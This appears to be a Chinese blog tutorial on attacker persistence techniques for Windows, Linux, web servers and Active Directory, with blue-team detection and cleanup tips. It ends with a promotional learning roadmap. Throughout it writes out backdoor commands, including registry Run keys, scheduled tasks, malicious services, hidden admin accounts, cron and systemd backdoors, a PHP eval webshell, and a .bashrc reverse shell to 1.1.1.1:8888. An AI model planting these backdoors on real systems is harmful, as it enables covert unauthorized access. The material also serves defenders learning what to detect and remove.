网络安全中的持久化是什么常见持久化技术详解摘要持久化Persistence也叫权限维持是 MITRE ATTCK 框架的核心战术之一。攻击者拿到目标主机权限后为了在系统重启、账号退出、会话断开后依然保留访问入口所使用的一系列技术就是持久化。本文从原理出发分 Windows、Linux、Web、域环境详细讲解红队常用持久化手段同时给出蓝队对应的检测思路适合内网渗透、护网、应急响应学习。法律声明本文内容仅作为网络安全技术科普、安全防御研究、授权红蓝演练、应急响应学习用途旨在帮助安全从业人员理解攻击者的技术原理学习防御、检测、清除恶意持久化后门的相关知识。本文提及的命令、脚本、攻防技术仅允许在拥有完整书面授权的本地靶场、授权测试环境中使用。依据《中华人民共和国刑法》《中华人民共和国网络安全法》《中华人民共和国数据安全法》《计算机信息系统安全保护条例》未经资产所有人书面许可入侵、渗透、植入后门、实施权限维持等操作属于违法犯罪行为。任何个人或组织不得将本文内容用于非法网络攻击、未授权探测、破坏计算机信息系统等违法活动。本文所展示技术案例均为攻防原理演示不代表鼓励实施攻击行为。阅读本文代表知悉相关法律规定。一、什么是持久化在渗透后渗透阶段攻击者通过漏洞拿到 shell、Meterpreter 会话之后一旦目标服务器重启、管理员杀掉恶意进程、断开当前连接现有访问就会失效。持久化就是把访问入口 “埋进系统”让恶意代码在重启后自动执行长期控制目标资产对应 ATTCK 战术编号 TA0003 Persistence。持久化分为两大类文件型持久化会在磁盘留下恶意文件容易被杀毒、EDR 查杀无文件 / 内存持久化尽量不落地 exe利用系统原生功能执行隐蔽性更强护网、APT 场景高频出现。持久化不是独立攻击是拿下权限之后的巩固手段也是蓝队应急排查、溯源清理的重点。二、Windows 系统常见持久化技术2.1 注册表 Run 启动项T1547.001最经典、最基础的持久化方式。注册表 Run 键内的程序用户登录时自动运行。常用路径HKCU\Software\Microsoft\Windows\CurrentVersion\Run HKLM\Software\Microsoft\Windows\CurrentVersion\RunHKCU 只对当前用户生效HKLM 是机器级所有用户登录都会执行需要管理员权限。简单示例写入注册表开机自动执行 payload。reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdateHelper /t REG_SZ /d C:\Windows\Temp\backdoor.exe /f蓝队检测使用 Autoruns、Sysmon 监控注册表写入事件EventID 13排查未知、未签名程序路径尤其 Temp、Public 目录下的可疑可执行文件。2.2 计划任务 Scheduled TaskT1053.005红队非常喜欢的持久化方式灵活性极高可以设置开机触发、登录触发、空闲触发、定时执行甚至可以修改系统自带任务伪装成系统维护任务。创建计划任务示例schtasks /create /tn WindowsTelemetryUpdate /tr C:\backdoor.exe /sc onlogon /ru system可以设置任务名称模仿微软官方组件降低管理员警惕部分高级玩法修改原有系统任务的 XML 配置不新增任务隐蔽性更强。蓝队排查查看C:\Windows\System32\Tasks目录审计新创建、修改的任务关注任务执行程序路径、是否隐藏窗口运行。2.3 Windows 服务T1543.003Windows 服务开机后台自动启动可以设置为系统权限。攻击者新建恶意服务或者修改已有服务的执行路径。创建恶意服务示例sc create MyUpdateService binpath C:\backdoor.exe type own start auto sc start MyUpdateService服务信息保存在注册表内系统启动时自动加载。缺点新建服务容易被 EDR 告警高级红队会修改原有废弃服务。2.4 WMI 事件订阅无文件持久化 T1546.003WMI 事件订阅是经典无文件持久化不需要落地 exe。由三部分构成EventFilter触发条件、EventConsumer执行动作、FilterToConsumerBinding绑定关联。可以设置当用户登录、进程创建、系统启动时自动执行命令。优势没有新增启动项、没有新建计划任务传统排查工具很难发现需要开启 Sysmon 19/20/21 事件 ID 才能捕获。2.5 影子账户 / 隐藏账号T1136新建本地管理员账号通过$命名 修改 SAM 注册表实现net user、计算机管理界面看不到账号仅注册表内存在。net user hacker$ Admin123456 /add net localgroup administrators hacker$ /add普通查询命令看不到 hacker$ 账号管理员容易忽略。域环境下还可以创建域隐藏账号。2.6 DLL 劫持、DLL 侧加载利用 Windows 程序加载 DLL 的搜索顺序。将同名恶意 DLL 放到目标 exe 同目录当合法程序启动时优先加载恶意 DLL实现代码执行达到持久化。很多正规软件、系统程序都存在此类风险。2.7 COM 组件劫持修改注册表 CLSID劫持 COM 对象。当系统调用该 COM 组件时加载恶意 payload。特点普通用户权限即可实现持久化不需要管理员在很多红队报告中作为低权限维持手段。三、Linux 系统常见持久化技术3.1 Crontab 定时任务T1053.003Linux 最常用持久化。crontab可以定时执行脚本reboot代表系统开机自动执行。# 开机执行payload echo reboot /tmp/backdoor.sh /var/spool/cron/root除用户 crontab 外/etc/cron.d/目录放独立定时文件容易被管理员忽略。3.2 systemd 恶意服务T1543.002现代 CentOS7、Ubuntu 等发行版默认使用 systemd。攻击者编写.service 单元文件设置开机自启。示例 /etc/systemd/system/backdoor.service[Unit] DescriptionSystem Update Helper [Service] ExecStart/tmp/backdoor Restartalways [Install] WantedBymulti-user.targetsystemctl daemon-reload systemctl enable backdoor systemctl start backdoorRestartalways 代表进程被杀后会自动重启实现 “不死后门”。3.3 ~/.bashrc/ ~/.profile 后门用户登录 shell 加载 bashrc攻击者在文件末尾追加恶意命令。只要用户登录 SSH、终端就自动触发 payload。echo bash -i /dev/tcp/1.1.1.1/8888 01 ~/.bashrc特点仅对当前用户生效不需要 root拿到普通账号即可埋入后门。3.4 SUID 提权后门编译一个设置 SUID 权限的二进制文件所有者 root普通用户执行就能拿到 root 权限。就算攻击者会话断开后续只要登录主机运行这个文件即可获取高权限。chmod 4777 /tmp/suid_backdoor3.5 SSH 公钥持久化攻击者把自己的公钥写入目标~/.ssh/authorized_keys。后续直接用私钥 SSH 登录不需要账号密码是内网横向之后非常稳定的维持方式。很多运维服务器都会中招。四、Web 服务器持久化Web 场景4.1 Webshell 一句话木马上传 php/jsp/aspx 脚本到网站目录攻击者随时访问脚本执行命令。常见的 PHP 一句话?php eval($_POST[cmd]);?蓝队清理难点攻击者会把 Webshell 藏在图片、缓存目录、二次封装到框架源码中。4.2 不死马PHP 内存后门经典 Web 持久化。使用ignore_user_abort(true)脚本断开连接后继续后台循环运行持续重新写入 Webshell。就算管理员删除木马文件进程会立刻重新生成只有重启 web 服务才能清除。4.3 IIS/nginx 恶意模块、中间件后门在 IIS 添加恶意模块或者修改 Nginx 动态模块Web 服务启动自动加载恶意代码每次访问网站都会触发执行隐蔽性极高。五、域环境高级持久化内网域渗透拿到域管权限之后攻击者会部署域级持久化一台机器埋入控制整个域。组策略 GPO 持久化修改域组策略域内所有主机开机、登录自动执行恶意脚本文件放在 SYSVOL 共享目录DSRM 账号后门域控 DSRM 目录修复模式账号修改密码后门拿到域控本地权限Skeleton Key骨架密钥注入域控 lsass 进程给所有域账号增加万能后门密码注骨架密钥属于内存后门域控重启失效常搭配其他持久化一起使用。六、持久化技术选型思路红队视角低权限优先 COM 劫持、bashrc、SSH 公钥、注册表 HKCU不需要管理员单机高权限计划任务、系统服务、WMI 订阅、影子账号Web 服务器Webshell、不死马域控GPO、DSRM实现全域维持隐蔽优先无文件 WMI、内存注入尽量不落地 exe规避 AV/EDR。核心原则持久化要多路径埋点放 2~3 种不同类型后门。就算蓝队清除一种还有其他入口这也是护网演练中经常遇到的情况。七、蓝队检测与清除思路基础排查Autoruns、检查注册表 Run 项、开机启动文件夹、系统服务、计划任务日志审计Sysmon 监控注册表、进程创建、WMI 事件Linux 审计 crontab、systemd 单元文件、bashrcWeb 排查全盘检索 Web 目录内 eval、assert 等恶意函数查找隐藏 webshell账号审计遍历本地和域账号检查隐藏影子账号、SSH authorized_keys清理要点只删恶意文件不够必须删除持久化触发入口否则重启后门自动恢复内存后门需要重启主机或杀死对应进程。八、总结持久化是后渗透阶段的核心能力本质是利用操作系统、中间件、域机制的自动执行能力预埋攻击入口。新手很容易只关注漏洞利用忽略持久化。护网、红蓝对抗中红队拿下权限第一件事就是埋持久化而蓝队应急响应最关键的就是全面排查所有持久化点位彻底清除后门避免攻击者再次回连。想要学好持久化需要吃透 Windows/Linux 开机启动流程熟悉 MITRE ATTCK TA0003在授权靶场反复复现理解每种技术的触发时机、痕迹、检测方法。免责声明本文所提供全部技术内容仅用于网络安全防御学习、授权安全测试、安全应急研究作者不对任何个人或组织利用本文内容产生的行为承担任何法律责任。读者自行使用文中所有命令、脚本、技术所造成的一切损失、法律后果全部由读者本人独立承担。本文力求内容准确但不保证文中所有技术、命令不存在疏漏因操作失误造成的系统损坏、数据丢失作者不承担任何赔偿责任。严禁将本文内容用于任何未授权的网络测试、入侵、破坏活动一旦发生违法行为相关责任由实施者自行承担。如不同意本免责条款请立即关闭本文停止阅读和学习。最后网络安全需要学习那些知识网络安全零基础入门学习路线规划初级1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线视频配套资料国内外网安书籍、文档工具当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。一些我自己买的、其他平台白嫖不到的视频教程要学习网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
